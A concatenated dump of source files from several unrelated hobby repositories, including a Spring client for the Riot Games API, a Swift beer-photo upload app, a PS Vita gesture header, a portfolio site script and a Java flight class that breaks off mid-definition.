puts adele.songs | b716cb9a68e5697feb664e7bf59c458153c424d7 | [
"Ruby"
] | 1 | Ruby | RichardPitts1/ruby-objects-has-many-lab-houston-web-080519 | 5bd1ad37a229eb25bc0f894491ccc94e9bb966fd | 29097052f8e1e0bce834e2c5901c54d71d303cf5 |
refs/heads/master | <file_sep>#!c:\users\admin\google drive\learning and study\programming\django\scripts\python.exe
from django.core import management
if __name__ == "__main__":
management.execute_from_command_line()
| f99b379a757eadf4195466e42ae16d0b2220b8a0 | [
"Python"
] | 1 | Python | frechdi/my-first-blog | 05a8930b5155699d1a90b0b15eee8c8714524786 | 7621d745f4143587731bae411c05b099f4943209 |
refs/heads/main | <file_sep>package com.gnt.service.riot;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.core.type.TypeReference;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.gnt.Constants;
import com.gnt.domain.summoner.League;
import com.gnt.domain.match.Match;
import com.gnt.domain.summoner.Summoner;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Component;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
@Component
public class RiotApiHandler {
private final Logger logger = LoggerFactory.getLogger(this.getClass());
private final String krUri = "https://kr.api.riotgames.com";
private final String asiaUri = "https://asia.api.riotgames.com";
private String uri;
private ObjectMapper mapper;
public RiotApiHandler() {
this.mapper = new ObjectMapper();
}
private String getJson(String uri) {
try {
URL requestUrl = new URL(uri);
HttpURLConnection connection = (HttpURLConnection) requestUrl.openConnection();
connection.setRequestMethod("GET");
String apiKey = Constants.API_KEY;
connection.setRequestProperty("X-Riot-Token", apiKey);
int responseCode = connection.getResponseCode();
switch (responseCode) {
case 200:
try {
BufferedReader br = new BufferedReader(new InputStreamReader(connection.getInputStream()));
StringBuilder sb = new StringBuilder();
String line = "";
while ((line = br.readLine()) != null) {
sb.append(line);
}
return sb.toString();
} catch (Exception e) {
logger.error(e.getMessage());
}
break;
case 401:
logger.error("API 키 미입력");
break;
case 403:
logger.error("API 키 시간 만료");
break;
case 404:
logger.error("주소 입력 오류");
break;
case 415:
logger.error("Content-Type 오류");
break;
case 429:
logger.error("요청 횟수 초과");
break;
default:
break;
}
} catch (Exception e) {
logger.error(e.getMessage());
logger.error("API Request NOT Available");
}
return "error";
}
public Summoner getSummonerByName(String summonerName) {
uri = krUri + "/lol/summoner/v4/summoners/by-name/" + summonerName;
try {
return mapper.readValue(getJson(uri), Summoner.class);
} catch (JsonProcessingException e) {
logger.error(e.getMessage());
logger.error("소환사 정보 파싱 실패");
}
return null;
}
public List<League> getLeagueListBySummonerId(String id) {
uri = krUri + "/lol/league/v4/entries/by-summoner/" + id;
ArrayList<League> leagueList = new ArrayList<>();
try {
List<Map<String, Object>> list = mapper.readValue(getJson(uri), new TypeReference<List<Map<String, Object>>>() {
});
for (Map<String, Object> map : list) {
leagueList.add(mapper.readValue(mapper.writeValueAsString(map), League.class));
}
return leagueList;
} catch (JsonProcessingException e) {
logger.error(e.getMessage());
logger.error("리그 정보 파싱 실패");
}
return null;
}
public List<String> getMatchIdListByPuuid(String puuid, int start, int count) {
uri = asiaUri + "/lol/match/v5/matches/by-puuid/" + puuid + "/ids?start=" + start + "&count=" + count;
try {
return mapper.readValue(getJson(uri), new TypeReference<List<String>>() {
});
} catch (JsonProcessingException e) {
logger.error(e.getMessage());
logger.error("매치 id 파싱 실패");
}
return null;
}
public Match getMatchByMatchId(String matchId) {
uri = asiaUri + "/lol/match/v5/matches/" + matchId;
try {
return mapper.readValue(getJson(uri), Match.class);
} catch (JsonProcessingException e) {
logger.error(e.getMessage());
logger.error("매치 정보 파싱 실패");
}
return null;
}
}
<file_sep>package com.gnt.web;
import com.gnt.service.search.MatchService;
import com.gnt.domain.match.Match;
import lombok.RequiredArgsConstructor;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.util.List;
@RequiredArgsConstructor
@RestController
public class MatchApiController {
private final MatchService matchService;
@GetMapping("/api/matches/v1/by-name/{summonerName}")
public List<Match> getMatchListJsonByName(@PathVariable String summonerName,
@RequestParam(value = "start", defaultValue = "0") int start,
@RequestParam(value = "count", defaultValue = "1") int count) {
return matchService.getMatchListByName(summonerName, start, count);
}
}
<file_sep>package com.gnt.domain.match;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
import lombok.Getter;
import lombok.NoArgsConstructor;
import javax.persistence.*;
@Getter
@NoArgsConstructor
@JsonIgnoreProperties(ignoreUnknown = true)
@Entity
public class Ban {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Long id;
@ManyToOne
@JoinColumn(name = "team_id")
private Team team;
private int championId;
private int pickTurn;
}
<file_sep>package com.gnt.web.dto.match;
import com.gnt.domain.match.Team;
import lombok.Getter;
import java.util.List;
@Getter
public class MatchDto {
private Long gameDuration;
private Long gameStartTimestamp;
private String gameMode;
private String gameType;
private int mapId;
private List<ParticipantDto> participants;
private Team blueTeam;
private Team redTeam;
}
<file_sep>package com.gnt.domain.match;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
import lombok.Getter;
import lombok.NoArgsConstructor;
@Getter
@NoArgsConstructor
@JsonIgnoreProperties(ignoreUnknown = true)
public class Objective {
private boolean first;
private int kills;
}<file_sep>package com.gnt.web;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestParam;
import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
@Controller
public class SearchController {
private final Logger logger = LoggerFactory.getLogger(this.getClass());
@GetMapping(value = "/search")
public String search(@RequestParam(value = "userName") String userName) {
return getString(userName);
}
private String getString(@RequestParam("userName") String userName) {
try {
StringBuilder sb = new StringBuilder(userName);
if (userName.length() == 2)
userName = sb.insert(1, " ").toString();
userName = URLEncoder.encode(userName, "UTF-8");
} catch (UnsupportedEncodingException e) {
logger.warn("인코딩 오류");
}
return "redirect:/search/" + userName;
}
@GetMapping("/search/{userName}")
public String searchByName(@PathVariable String userName) {
return "summoner";
}
}
<file_sep># lsh324.github.io
lsh324.github.io
# 접속 링크
## [그님티](http://ec2-3-37-121-108.ap-northeast-2.compute.amazonaws.com)<file_sep>package com.gnt.domain.match;
import org.springframework.data.jpa.repository.JpaRepository;
public interface PerkStatsRepository extends JpaRepository<PerkStats, Long> {
}
<file_sep>package com.gnt.domain.match;
import lombok.Getter;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
@Getter
@Entity
public class Perk {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Long id;
private int main0;
private int main1;
private int main2;
private int main3;
private int sub0;
private int sub1;
}
<file_sep>$(document).ready(function(){
$('.ham').on('click', function(){
if($(this).hasClass('active')){
$('.hamnav').stop().fadeOut();
}else{
$('.hamnav').stop().fadeIn();
}
$('.ham').toggleClass('active');
});
});<file_sep>const displayRankInfo = (league, name) => {
const rankImg = $(`.${name}rank-img`);
rankImg.css('background', `url(/images/emblem/${league.tier}.png)`).css('background-size','cover');
const rankTextDiv = $(`.${name}rank-text`);
rankTextDiv.append($(`<h2>${league.tier} ${league.rank}</h2>`));
rankTextDiv.append($(`<p>${league.leaguePoints} LP</p>`));
const wins = league.wins;
const losses = league.losses;
let _winRate = wins*100/(wins+losses);
_winRate = _winRate.toString().slice(0, 4);
rankTextDiv.append($(`<p>${wins}승 ${losses}패 (${_winRate}%)</p>`));
}
window.onload = () => {
let v,l,cdn;
fetch("http://ddragon.leagueoflegends.com/realms/kr.json").then((response) => {
return response.json();
}).then((realmData) => {
console.log(realmData)
v = realmData.v;
l = realmData.l;
cdn = realmData.cdn;
});
let summonerName = window.location.pathname.replace('/search/', '').replaceAll('+','%20');
const url = `/api/summoner/v1/by-name/${summonerName}`;
fetch(url).then((response) => {
return response.json();
}).then((summonerData) => {
console.log(summonerData);
const summonerIcon = $('.summoner-icon');
summonerIcon.css('background', `url(${cdn}/${v}/img/profileicon/${summonerData.profileIconId}.png)`).css('background-size','cover');
const summonerLevel = $(`<p>Lv <span>${summonerData.summonerLevel}</span></p>`)
summonerIcon.append(summonerLevel);
const summonerInfoTextDiv = $('.summoner-info-text');
summonerInfoTextDiv.append($(`<h2>${summonerData.name}</h2>`));
summonerInfoTextDiv.append($(`<p>${summonerData.soloLeague.tier} ${summonerData.soloLeague.rank}</p>`));
summonerInfoTextDiv.append($(`<p>랭킹 <span>111,111위</span> (상위 <span>22%</span>위)</p>`));
if (summonerData.soloLeague !== null)
displayRankInfo(summonerData.soloLeague,'solo');
else
$('.solorank-img').css('background', `url(/images/emblem/UNRANKED.png)`).css('background-size','cover');
if (summonerData.teamLeague !== null)
displayRankInfo(summonerData.teamLeague,'free');
else
$('.freerank-img').css('background', `url(/images/emblem/UNRANKED.png)`).css('background-size','cover');
});
}
<file_sep>package com.gnt.domain.match;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
import lombok.Getter;
import lombok.NoArgsConstructor;
@Getter
@NoArgsConstructor
@JsonIgnoreProperties(ignoreUnknown = true)
public class Objectives {
private Objective baron;
private Objective champion;
private Objective dragon;
private Objective inhibitor;
private Objective riftHerald;
private Objective tower;
}
<file_sep>package com.gnt.domain.summoner;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
import com.fasterxml.jackson.annotation.JsonManagedReference;
import lombok.Builder;
import lombok.Getter;
import lombok.NoArgsConstructor;
import javax.persistence.*;
import java.util.List;
@Getter
@NoArgsConstructor
@JsonIgnoreProperties(ignoreUnknown = true)
@Entity
public class Summoner {
private String accountId;
private String name;
@Id
private String id;
private String puuid;
private int profileIconId;
private Long summonerLevel;
private Long revisionDate;
@OneToMany(mappedBy = "summoner")
private List<League> leagueList;
@Builder
public Summoner(String accountId, String name, String id, String puuid, Integer profileIconId, Long summonerLevel, Long revisionDate, List<League> leagueList) {
this.accountId = accountId;
this.name = name;
this.id = id;
this.puuid = puuid;
this.profileIconId = profileIconId;
this.summonerLevel = summonerLevel;
this.revisionDate = revisionDate;
this.leagueList = leagueList;
}
}
<file_sep>package com.gnt.domain.match;
import org.springframework.data.jpa.repository.JpaRepository;
public interface PerksRepository extends JpaRepository<Perks, Long> {
}
<file_sep>package com.gnt.domain.summoner;
import org.springframework.data.jpa.repository.JpaRepository;
public interface LeagueRepository extends JpaRepository<League, Long> {
}
| df1f6092aac2f8ed967140c47a7140924ec19568 | [
"Markdown",
"Java",
"JavaScript"
] | 15 | Java | kyh119/gnt | 44fc591b16f951cc0f5297aaf06d50f5ca5f0af6 | 6e2f42b672d80c9fcc11250f9312bcfddd999ef6 |
refs/heads/master | <repo_name>john-ko/BeerB<file_sep>/Beerb/Beer.swift
//
// Beer.swift
// Beerb
//
// Created by <NAME> on 4/24/16.
// Copyright © 2016 <NAME>. All rights reserved.
//
import Foundation
class Beer {
var id: Int!
var name: String!
var beer_score: Float!
var description: String!
var image: String!
var abv: Float!
var ibu: Int!
var brewer: String!
let json = "[{\"id\":1,\"name\":\"Stone IPA\",\"beer_score\":4.5,\"description\":\"An \"India Pale Ale\" by definition is highly hopped and high in alcohol - you'll find our Stone India Pale Ale to be true to style with a huge hop aroma, flavor and bitterness throughout. If you're a hop-head like us, then you'll love our Stone India Pale Ale! Medium malt character with a heavy dose of over the top hops! Generous \"dry hopping\" gives this beer its abundant hop aroma and crisp hop flavor.\",\"image\":\"https://s3.amazonaws.com/brewerydbapi/beer/PAM6wX/upload_dl9pJu-icon.png\",\"abv\":6.9,\"ibu\":77,\"brewer\":\"Stone Brewing Company\",\"slug\":\"stoneipa\"}]"
}<file_sep>/Beerb/ImageUpload.swift
//
// ImageUpload.swift
// Beerb
//
// Created by <NAME> on 4/23/16.
// Copyright © 2016 <NAME>. All rights reserved.
//
import Foundation
import UIKit
class ImageUpload {
var finished = false
func postImage(myImage: UIImage?, completion: (String)->Void!) {
let imageData = UIImageJPEGRepresentation(myImage!.resizeToWidth(500), 1)
// api config
let request = self.factory()
let param = [
"abc" : "12345",
"yup" : "321",
]
//let postString : String = "uid=59&asdf=123"
//request.HTTPBody = postString.dataUsingEncoding(NSUTF8StringEncoding)
// File
let boundary = generateBoundaryString()
request.setValue("multipart/form-data; boundary=\(boundary)", forHTTPHeaderField: "Content-Type")
request.HTTPBody = createBodyWithParameters(param, filePathKey: "file", imageDataKey: imageData!, boundary: boundary)
self.runRequestOnBackgroundThread(request, callback: completion)
}
func runRequestOnBackgroundThread(request: NSMutableURLRequest, callback:(String)->Void!) {
let task = NSURLSession.sharedSession().dataTaskWithRequest(request) {
data, response, error in
print(response)
if error != nil {
print("error=\(error)")
callback("error")
return
} else {
let jsonString = NSString(data: data!, encoding: NSUTF8StringEncoding)!
print(jsonString)
if jsonString == "" {
return
}
callback(jsonString as String)
}
}
task.resume()
}
func generateBoundaryString() -> String {
return "Boundary-\(NSUUID().UUIDString)"
}
func factory() -> NSMutableURLRequest {
let urlString = "http://beer-b-nodes.mybluemix.net/api/upload"
let headers = ["accept":"application/json"]
let request = NSMutableURLRequest( URL: NSURL(string: urlString)!)
request.HTTPMethod = "POST"
request.allHTTPHeaderFields = headers
return request
}
func createBodyWithParameters(parameters: [String: String]?, filePathKey: String?, imageDataKey: NSData, boundary: String) -> NSData {
//func createBodyWithParameters(parameters: [String: String]?, boundary: String) -> NSData {
let body = NSMutableData();
if parameters != nil {
for (key, value) in parameters! {
body.appendString("--\(boundary)\r\n")
body.appendString("Content-Disposition: form-data; name=\"\(key)\"\r\n\r\n")
body.appendString("\(value)\r\n")
}
}
if filePathKey != nil {
let filename = "user-profile.jpg"
let mimetype = "image/jpg"
body.appendString("--\(boundary)\r\n")
body.appendString("Content-Disposition: form-data; name=\"\(filePathKey!)\"; filename=\"\(filename)\"\r\n")
body.appendString("Content-Type: \(mimetype)\r\n\r\n")
body.appendData(imageDataKey)
body.appendString("\r\n")
}
body.appendString("--\(boundary)--\r\n")
return body
}
}
extension NSMutableData {
func appendString(string: String) {
let data = string.dataUsingEncoding(NSUTF8StringEncoding, allowLossyConversion: true)
appendData(data!)
}
}
extension UIImage {
func resize(scale:CGFloat)-> UIImage {
let imageView = UIImageView(frame: CGRect(origin: CGPoint(x: 0, y: 0), size: CGSize(width: size.width*scale, height: size.height*scale)))
imageView.contentMode = UIViewContentMode.ScaleAspectFit
imageView.image = self
UIGraphicsBeginImageContext(imageView.bounds.size)
imageView.layer.renderInContext(UIGraphicsGetCurrentContext()!)
let result = UIGraphicsGetImageFromCurrentImageContext()
UIGraphicsEndImageContext()
return result
}
func resizeToWidth(width:CGFloat)-> UIImage {
let imageView = UIImageView(frame: CGRect(origin: CGPoint(x: 0, y: 0), size: CGSize(width: width, height: CGFloat(ceil(width/size.width * size.height)))))
imageView.contentMode = UIViewContentMode.ScaleAspectFit
imageView.image = self
UIGraphicsBeginImageContext(imageView.bounds.size)
imageView.layer.renderInContext(UIGraphicsGetCurrentContext()!)
let result = UIGraphicsGetImageFromCurrentImageContext()
UIGraphicsEndImageContext()
return result
}
}<file_sep>/Beerb/SecondViewController.swift
//
// SecondViewController.swift
// Beerb
//
// Created by <NAME> on 4/22/16.
// Copyright © 2016 <NAME>. All rights reserved.
//
import UIKit
class SecondViewController: UIViewController, UIImagePickerControllerDelegate, UINavigationControllerDelegate, UITabBarDelegate {
@IBOutlet weak var ImageDisplay: UIImageView!
var loaded = false
let picker = UIImagePickerController()
@IBOutlet weak var beerName: UILabel!
@IBOutlet weak var beerBrewer: UILabel!
@IBOutlet weak var abu: UILabel!
override func viewDidLoad() {
super.viewDidLoad()
// Do any additional setup after loading the view, typically from a nib.
self.beerName.text = "Take a Picture!"
self.beerBrewer.text = ""
self.abu.text = ""
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
// Dispose of any resources that can be recreated.
}
override func viewDidAppear(animated: Bool) {
self.picker.delegate = self
self.picker.sourceType = .Camera
if (self.loaded) {
self.loaded = false
} else {
self.loaded = true
presentViewController(self.picker, animated: true, completion: nil)
}
}
func imagePickerController(picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [String : AnyObject]) {
ImageDisplay.image = info[UIImagePickerControllerOriginalImage] as? UIImage
dismissViewControllerAnimated(true, completion: nil)
let imageUpload = ImageUpload()
imageUpload.postImage(self.ImageDisplay.image, completion: self.test)
}
func convertStringToDictionary(text: String) -> [String:AnyObject]? {
if let data = text.dataUsingEncoding(NSUTF8StringEncoding) {
do {
return try NSJSONSerialization.JSONObjectWithData(data, options: []) as? [String:AnyObject]
} catch let error as NSError {
print(error)
}
}
return nil
}
func test(jsonString: String) {
let jsonData = self.convertStringToDictionary(jsonString as String)
var name = "<NAME>!"
var brewer = ""
//var score = 0.0
if ((jsonData!["name"]) != nil) {
name = jsonData!["name"] as! String
brewer = jsonData!["brewer"] as! String
//score = jsonData!["beer_score"] as! Double
}
dispatch_async(dispatch_get_main_queue(), {
self.beerName.text = name
self.beerBrewer.text = brewer
//self.abu.text = NSString(format: "Score: %.2f", score) as String
})
}
}
| 636860d6d6f027e62b0842c844ea3216584d6625 | [
"Swift"
] | 3 | Swift | john-ko/BeerB | b80a8f98457be449a5f6451d2f1e45c628e9065d | 3a50208c2d63554b2024491c4d63d7c2bad49341 |
refs/heads/master | <repo_name>Banandana/vita-headers<file_sep>/include/psp2/systemgesture.h
/**
* \file systemgesture.h
* \brief Header file which defines gesture related variables and functions
*
* Copyright (C) 2016 VITASDK Project
*
* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/.
*/
#ifndef _PSP2_SYSTEMGESTURE_H_
#define _PSP2_SYSTEMGESTURE_H_
#ifdef __cplusplus
extern "C" {
#endif
#include <psp2/types.h>
#include <psp2/touch.h>
#define SCE_SYSTEM_GESTURE_ERROR_INVALID_ARGUMENT 0x80890001
#define SCE_SYSTEM_GESTURE_ERROR_NOT_SUPPORTED_GESTURE 0x80890002
#define SCE_SYSTEM_GESTURE_ERROR_NOT_INITIALIZED 0x80890003
#define SCE_SYSTEM_GESTURE_ERROR_INDEX_OUT_OF_ARRAY 0x80890004
#define SCE_SYSTEM_GESTURE_ERROR_EVENT_DATA_NOT_FOUND 0x80890005
typedef enum SceSystemGestureTouchState
{
SCE_SYSTEM_GESTURE_TOUCH_STATE_INACTIVE = 0x00000000,
SCE_SYSTEM_GESTURE_TOUCH_STATE_BEGIN = 0x00000001,
SCE_SYSTEM_GESTURE_TOUCH_STATE_ACTIVE = 0x00000002,
SCE_SYSTEM_GESTURE_TOUCH_STATE_END = 0x00000003
} SceSystemGestureTouchState;
typedef enum SceSystemGestureType
{
SCE_SYSTEM_GESTURE_TYPE_TAP = 0x00000001,
SCE_SYSTEM_GESTURE_TYPE_DRAG = 0x00000002,
SCE_SYSTEM_GESTURE_TYPE_TAP_AND_HOLD = 0x00000004,
SCE_SYSTEM_GESTURE_TYPE_PINCH_OUT_IN = 0x00000008
} SceSystemGestureType;
typedef struct SceSystemGestureVector2
{
SceInt16 x;
SceInt16 y;
} SceSystemGestureVector2;
typedef struct SceSystemGestureRectangle
{
SceInt16 x;
SceInt16 y;
SceInt16 width;
SceInt16 height;
} SceSystemGestureRectangle;
typedef struct SceSystemGesturePrimitiveTouchEvent
{
/* state of primitive touch event */
SceSystemGestureTouchState eventState;
/* logical add of touch panel port(higher 8bit) and touch ID(lower 8bit) */
SceUInt16 primitiveID;
/* pressed time position */
SceSystemGestureVector2 pressedPosition;
/* force value of pressed time */
SceInt16 pressedForce;
/* current finger position */
SceSystemGestureVector2 currentPosition;
/* current force value */
SceInt16 currentForce;
/* distance from previous updated position */
SceSystemGestureVector2 deltaVector;
/* force value difference from previous updated time */
SceInt16 deltaForce;
/* elapsed time from previous update (microseconds) */
SceUInt64 deltaTime;
/* elapsed tiem from when finger pressed (microseconds) */
SceUInt64 elapsedTime;
SceUInt8 reserved[56];
} SceSystemGesturePrimitiveTouchEvent;
typedef struct SceSystemGesturePrimitiveTouchRecognizerParameter
{
SceUInt8 reserved[ 64 ];
} SceSystemGesturePrimitiveTouchRecognizerParameter;
typedef struct SceSystemGestureTouchRecognizer
{
SceUInt64 reserved[ 307 ];
} SceSystemGestureTouchRecognizer;
/**
* The data structure for receiving touch gesture recognizer information
**/
typedef struct SceSystemGestureTouchRecognizerInformation
{
/* touch gesture type */
SceSystemGestureType gestureType;
/* target touch panel port */
SceUInt32 touchPanelPortID;
/* target rectangle */
SceSystemGestureRectangle rectangle;
/* last updated time */
SceUInt64 updatedTime;
SceUInt8 reserved[ 256 ];
} SceSystemGestureTouchRecognizerInformation;
/**
* parameters for Tap gesture recgonizer
**/
typedef struct SceSystemGestureTapRecognizerParameter
{
/* maximum tap counts to be recognized */
SceUInt8 maxTapCount;
SceUInt8 reserved[ 63 ];
} SceSystemGestureTapRecognizerParameter;
/**
* parameters for Drag gesture recgonizer
**/
typedef struct SceSystemGestureDragRecognizerParameter
{
SceUInt8 reserved[ 64 ];
} SceSystemGestureDragRecognizerParameter;
/**
* parameters for Tap and Hold gesture recgonizer
**/
typedef struct SceSystemGestureTapAndHoldRecognizerParameter
{
/* time to invoke this touch event (ms) */
SceUInt64 timeToInvokeEvent;
SceUInt8 reserved[ 56 ];
} SceSystemGestureTapAndHoldRecognizerParameter;
/**
* parameters for Pinch Out/In gesture recgonizer
**/
typedef struct SceSystemGesturePinchOutInRecognizerParameter
{
SceUInt8 reserved[ 64 ];
} SceSystemGesturePinchOutInRecognizerParameter;
/**
* union of gesture recgonizers' parameters
**/
typedef union SceSystemGestureTouchRecognizerParameter
{
SceUInt8 parameterBuf[ 64 ];
/* parameters for Tap gesture recgonizer */
SceSystemGestureTapRecognizerParameter tap;
/* parameters for Drag gesture recgonizer */
SceSystemGestureDragRecognizerParameter drag;
/* parameters for Tap and Hold gesture recgonizer */
SceSystemGestureTapAndHoldRecognizerParameter tapAndHold;
/* parameters for Pinch Out/In gesture recgonizer */
SceSystemGesturePinchOutInRecognizerParameter pinchOutIn;
} SceSystemGestureTouchRecognizerParameter;
/**
* properties for Tap event
**/
typedef struct SceSystemGestureTapEventProperty {
/* primitive touch event ID related with this event */
SceUInt16 primitiveID;
/* tapped position */
SceSystemGestureVector2 position;
/* tapped count */
SceUInt8 tappedCount;
SceUInt8 reserved[ 57 ];
} SceSystemGestureTapEventProperty;
/**
* properties for Drag event
**/
typedef struct SceSystemGestureDragEventProperty {
/* primitive touch event ID related with this event */
SceUInt16 primitiveID;
/* distance from previous updated position */
SceSystemGestureVector2 deltaVector;
/* current finger position */
SceSystemGestureVector2 currentPosition;
/* pressed time position */
SceSystemGestureVector2 pressedPosition;
SceUInt8 reserved[ 50 ];
} SceSystemGestureDragEventProperty;
/**
* properties for Tap and Hold event
**/
typedef struct SceSystemGestureTapAndHoldEventProperty {
/* primitive touch event ID related with this event */
SceUInt16 primitiveID;
/* position of pressed time */
SceSystemGestureVector2 pressedPosition;
SceUInt8 reserved[ 58 ];
} SceSystemGestureTapAndHoldEventProperty;
/**
* properties for Pinch Out/In event
**/
typedef struct SceSystemGesturePinchOutInEventProperty {
/* scale factor relative to the positions at when two fingers were paired */
float scale;
struct {
/* primitive touch event ID related with this event */
SceUInt16 primitiveID;
/* position of pressed time */
SceSystemGestureVector2 currentPosition;
/* distance from previous updated position */
SceSystemGestureVector2 deltaVector;
/* position at when two fingers were paired */
SceSystemGestureVector2 pairedPosition;
} primitive[2];
/* touch datas related with this event */
SceUInt8 reserved[ 32 ];
} SceSystemGesturePinchOutInEventProperty;
/**
* The data structure for touch event data
**/
typedef struct SceSystemGestureTouchEvent
{
/* touch gesture event ID */
SceUInt32 eventID;
/* touch gesture state */
SceSystemGestureTouchState eventState;
/* touch gesture type */
SceSystemGestureType gestureType;
SceUInt8 padding[4];
/* last updated time */
SceUInt64 updatedTime;
union {
/* buffer */
SceUInt8 propertyBuf[ 64 ];
/* property for Tap event */
SceSystemGestureTapEventProperty tap;
/* property for Drag event */
SceSystemGestureDragEventProperty drag;
/* property for Tap and Hold event */
SceSystemGestureTapAndHoldEventProperty tapAndHold;
/* property for Pinch Out/In event */
SceSystemGesturePinchOutInEventProperty pinchOutIn;
} property;
SceUInt8 reserved[56];
} SceSystemGestureTouchEvent;
int sceSystemGestureInitializePrimitiveTouchRecognizer(SceSystemGesturePrimitiveTouchRecognizerParameter* parameter);
int sceSystemGestureFinalizePrimitiveTouchRecognizer();
int sceSystemGestureResetPrimitiveTouchRecognizer();
int sceSystemGestureUpdatePrimitiveTouchRecognizer(const SceTouchData* pFrontData , const SceTouchData* pBackData);
int sceSystemGestureGetPrimitiveTouchEvents(SceSystemGesturePrimitiveTouchEvent* primitiveEventBuffer, const SceUInt32 capacityOfBuffer, SceUInt32* numberOfEvent);
int sceSystemGestureGetPrimitiveTouchEventsCount();
int sceSystemGestureGetPrimitiveTouchEventByIndex(const SceUInt32 index, SceSystemGesturePrimitiveTouchEvent* primitiveTouchEvent);
int sceSystemGestureGetPrimitiveTouchEventByPrimitiveID(const SceUInt16 primitiveID, SceSystemGesturePrimitiveTouchEvent* primitiveTouchEvent);
int sceSystemGestureCreateTouchRecognizer(SceSystemGestureTouchRecognizer* touchRecognizer, const SceSystemGestureType gestureType, const SceUInt8 touchPanelPortID, const SceSystemGestureRectangle* rectangle, const SceSystemGestureTouchRecognizerParameter* touchRecognizerParameter );
int sceSystemGestureGetTouchRecognizerInformation(const SceSystemGestureTouchRecognizer* touchRecognizer, SceSystemGestureTouchRecognizerInformation* information);
int sceSystemGestureResetTouchRecognizer( SceSystemGestureTouchRecognizer* touchRecognizer );
int sceSystemGestureUpdateTouchRecognizer( SceSystemGestureTouchRecognizer* touchRecognizer );
int sceSystemGestureUpdateTouchRecognizerRectangle( SceSystemGestureTouchRecognizer* touchRecognizer, const SceSystemGestureRectangle* rectangle );
int sceSystemGestureGetTouchEvents( const SceSystemGestureTouchRecognizer* touchRecognizer, SceSystemGestureTouchEvent* eventBuffer, const SceUInt32 capacityOfBuffer, SceUInt32* numberOfEvent);
int sceSystemGestureGetTouchEventsCount( const SceSystemGestureTouchRecognizer* touchRecognizer );
int sceSystemGestureGetTouchEventByIndex( const SceSystemGestureTouchRecognizer* touchRecognizer, const SceUInt32 index, SceSystemGestureTouchEvent* touchEvent);
int sceSystemGestureGetTouchEventByEventID( const SceSystemGestureTouchRecognizer* touchRecognizer, const SceUInt32 eventID, SceSystemGestureTouchEvent* touchEvent);
#ifdef __cplusplus
}
#endif
#endif
| 639e9dbc787d9cfe193965dc81eae5b6b943e3f0 | [
"C"
] | 1 | C | Banandana/vita-headers | 1932bcf061b91780e85c5cb906121f0559e1251b | de88c7eda43015b43ad49e5496031b21647d31c0 |
refs/heads/master | <repo_name>Gaurav-Zaiswal/programmergaurav.github.io<file_sep>/js/script.js
var frm = $('#contact');
frm.submit(function (e) {
e.preventDefault();
let name = document.getElementById("name").value;
let messege = document.getElementById("messege").value;
var win = window.open(`https://wa.me/+918450996596?text=Hi%20I%27m%20${name},%20${messege}`, '_blank');
});
new WOW().init();
$(document).ready(function () {
$(".se-pre-con").fadeOut("slow");
$(window).scroll(function () {
if ($(document).scrollTop() > 50) {
$(".navbar").css("background-color", "#111111");
$(".top").css("display", "block");
} else {
$(".navbar").css("background-color", "transparent");
$(".top").css("display", "none");
}
});
$('.navbar-collapse a').click(function () {
$(".navbar-collapse").collapse('hide');
});
});
$(".top").click(function () {
$("html, body").animate({
scrollTop: 0
}, "slow");
return false;
});
var typed = new Typed("#typed", {
stringsElement: '#typed-strings',
typeSpeed: 40,
backSpeed: 10,
loop: true
});
document.querySelectorAll('a[href^="#"]').forEach(anchor => {
anchor.addEventListener('click', function (e) {
e.preventDefault();
document.querySelector(this.getAttribute('href')).scrollIntoView({
behavior: 'smooth'
});
});
});
$('.work').owlCarousel({
items: 1,
loop: true,
autoplay: true,
mouseDrag: true,
center: true,
autoplayTimeout: 3000,
responsiveClass: true,
});
$('.skill').owlCarousel({
loop: true,
autoplay: true,
mouseDrag: true,
center: true,
autoplayTimeout: 1000,
responsiveClass: true,
responsive: {
0: {
items: 1,
},
1000: {
items: 3,
}
}
});
$('.certificate').owlCarousel({
loop: true,
autoplay: true,
mouseDrag: true,
center: true,
rtl: true,
autoplayTimeout: 4000,
responsiveClass: true,
responsive: {
0: {
items: 1,
},
600: {
items: 2,
},
1000: {
items: 3,
}
}
}); | 7cb7da3089ee64b5a87982cdea54b05d264a734e | [
"JavaScript"
] | 1 | JavaScript | Gaurav-Zaiswal/programmergaurav.github.io | a8f0ebfc3cd0b54887b48b9688879bf53739094f | a2919d3ea16dbc600dae5778119145ffa7219945 |
refs/heads/master | <repo_name>OceStasse/Reseaux<file_sep>/part_3/Application_Bagages/src/Airport/Voyage.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package Airport;
/**
*
* @author jona1993
*/
public class Voyage {
private int idVol = -1;
private String compagnie = null;
private String destination = null;
private String heure = null;
public Voyage()
{
}
/**
* @return the idVol
*/
public int getIdVol() {
return idVol;
}
/**
* @param idVol the idVol to set
*/
public void setIdVol(int idVol) {
this.idVol = idVol;
}
/**
* @return the compagnie
*/
public String getCompagnie() {
return compagnie;
}
/**
* @param compagnie the compagnie to set
*/
public void setCompagnie(String compagnie) {
this.compagnie = compagnie;
}
/**
* @return the destination
*/
